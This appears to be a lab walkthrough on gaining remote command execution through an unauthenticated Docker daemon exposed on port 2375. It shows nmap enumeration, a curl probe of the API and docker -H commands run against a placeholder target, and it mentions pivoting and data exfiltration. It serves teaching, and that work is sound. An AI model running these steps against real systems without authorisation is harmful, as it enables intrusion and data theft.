Vulnerability 3: Remote Code Execution via Exposed Docker Daemon

The Docker Engine - TCP Sockets Edition

Recall how Docker uses sockets to communicate between the host operating system and containers in the previous task. Docker can also use TCP sockets to achieve this.

Docker can be remotely administrated. For example, using management tools such as Portainer or Jenkins to deploy containers to test their code (yay, automation!).

The Vulnerability

The Docker Engine will listen on a port when configured to be run remotely. The Docker Engine is easy to make remotely accessible, but difficult to do securely. The vulnerability here is Docker is remotely accessible and allows anyone to execute commands. First, we will need to enumerate.

Enumerating: Finding Out if a Device Has Docker Remotely Accessible

By default, the engine will run on port 2375. We can confirm this by performing a Nmap scan against your target (MACHINE_IP) from your AttackBox.

cmnatic@attack-machine:~$ nmap -sV -p 2375 MACHINE_IP
Starting Nmap 7.80 ( https://nmap.org ) at 2024-01-02 21:27 GMT
Nmap scan report for docker-host (MACHINE_IP)
Host is up (0.0018s latency).
Not shown: 65531 closed ports
PORT    STATE SERVICE VERSION
2375/tcp open docker Docker 20.10.20 (API 1.41)

Looks like it's open; we're going to use the curl command to start interacting with the exposed Docker daemon. Confirming that we can access the Docker daemon: curl http://MACHINE_IP:2375/version

cmnatic@attack-machine:~$ curl http://MACHINE_IP:2375/version
{
  "Platform": {
    "Name": "Docker Engine - Community"
  },
  "Components": [
    {
      "Name": "Engine",
      "Version": "20.10.20",
      "Details": {
        "ApiVersion": "1.41",
        "Arch": "amd64",
        "BuildTime": "2022-10-18T18:18:12.000000000+00:00",
        "Experimental": "false",
        "GitCommit": "03df974",
        "GoVersion": "go1.18.7",
        "KernelVersion": "5.15.0-1022-aws",
        "MinAPIVersion": "1.12",
        "Os": "linux"
      }]
}

Executing Docker Commands on Our Target

For this, we'll need to tell our version of Docker to send the command to our target (not our own machine). We can add the "-H" switch to our target. To test if we can run commands, we'll list the containers on the target: docker -H tcp://MACHINE_IP:2375 ps

cmnatic@attack-machine:~$ docker -H tcp://MACHINE_IP:2375 ps
CONTAINER ID   IMAGE        COMMAND               CREATED        STATUS         PORTS                               NAMES
b4ec8c45414c   dockertest   "/usr/sbin/sshd -D"   10 hours ago   Up 7 minutes   0.0.0.0:22->22/tcp, :::22->22/tcp   priceless_mirzakhani

What Now

Now that we've confirmed that we can execute docker commands on our target, we can do all sorts of things. For example, start containers, stop containers, delete them, or export the contents of the containers for us to analyse further. It is worth recalling the commands covered in Intro to Docker. However, I've included some commands that you may wish to explore:

CommandDescription

network ls

Used to list the networks of containers, we could use this to discover other applications running and pivot to them from our machine!

images

List images used by containers; data can also be exfiltrated by reverse-engineering the image.

exec

Execute a command on a container.

run

Run a container.

Last updated